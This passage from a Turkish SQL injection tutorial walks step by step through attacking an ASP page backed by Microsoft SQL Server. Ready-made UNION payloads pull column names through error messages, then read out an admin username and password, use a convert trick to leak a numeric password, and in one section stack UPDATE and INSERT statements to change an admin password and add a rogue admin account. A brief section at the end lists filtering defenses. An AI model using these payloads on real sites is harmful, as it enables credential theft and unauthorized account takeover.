http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login‘–

Sonuç:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id‘ to a column of data type int.
/index.asp, line 5

Sonraki değişken için:

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login‘ WHERE COLUMN_NAME NOT IN (’login_id’)–

Sonuç:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name‘ to a column of data type int.
/index.asp, line 5

Düşünün ki yukarıdaki durumu tekrarlayıp diğer değişkenleri de password ve details olarak bulduk. Tüm değişkenleri elde ettiğimizde sorgumuza şöyle bir cevap alırız:

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login‘ WHERE COLUMN_NAME NOT IN (’login_id’,'login_name’,'password’,'details’)–

Sonuç:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2 Tablo adını ve değişkenlerini öğrendikten sonra istediğiniz bilgiye ulaşmak için

admin_login tablosunu ve değişkenlerini öğrendik. Şimdi sıra kullanıcı adlarını ve şifreleri öğrenmeye geldi.

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login

Sonuç:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo‘ to a column of data type int.
/index.asp, line 5

Görüyoruz ki tabloda neo isimli bir admin kayıtlı. Son olarak şifresini istiyoruz:

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo‘–

Sonuç:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m4trix‘ to a column of data type int.
/index.asp, line 5

6.3 Nümerik bir bilgiye nasıl ulaşırım?

Dikkat ettiyseniz yukarıda bir string’i bir integer’la UNION ederek hata mesajları çıkarmaya çalıştık. Ya istediğimiz bilgi bir sayıysa? Düşünün ki tablomuzda trinity kullanıcısının şifresi 31173. Bu durumda aşağıdaki sorgu sorunsuz bir UNION operasyonu yapacak, yani işimize yarayacak bir ODBC hatası yollamayacaktır.

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity‘–

Yapmamız gereken -garip bir şekilde- sorgu sonrası hata mesajı çıkarmayı garantilemek.

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM admin_login where login_name=’trinity‘–

Yukarıda + işaretiyle (%2b) şifremizi “morpheus” string’iyle birleştirip integer’a çevirmeye çalışıyoruz. Bu mantıklı(!) işlemin sonucunda da istediğimiz sonucu alıyoruz:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus‘ to a column of data type int.
/index.asp, line 5

7 Veritabanını güncellemek, veri eklemek

Tablo isimlerini ve değişkenlerini öğrendikten sonra tabloları güncellemek, yeni veriler eklemek de tabii ki mümkün. Örnek olarak yöneticimiz neo‘nun şifresini değiştirip, sisteme yeni bir admin ekleyelim:

http://www.example.com/index.asp?id=10; UPDATE ‘admin_login‘ SET ‘password‘ = ‘newpas5‘ WHERE login_name=’neo‘–

http://www.example.com/index.asp?id=10; INSERT INTO ‘admin_login‘ (’login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2‘,’newpas5‘,’NA’)–

8 SQL Injection’dan Korunma Yolları

Bunun için aslında çok basit bir yol var:

  • Kullanıcıdan aldığınız input’larda,
  • URL’lerdeki parametrelerde,
  • Cookie’lerdeki değerlerde bulunan

tek tırnak (), çift tırnak (), taksim (/), bölü (\), noktalı virgül (;)
boş karakter (NULL), carriage return (CG), yeni satır (NL), vb. karakterleri filtreleyin.

Sayılar için SQL sorgusuna eklemeden önce integer’a çevirin. Veya ISNUMERIC fonksiyonunu kullanarak gerçekten integer olup olmadığını kontrol edin.

Kullanmadığınız stored procedure’leri kaldırın: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask, …

9 Daha Fazla Bilgi…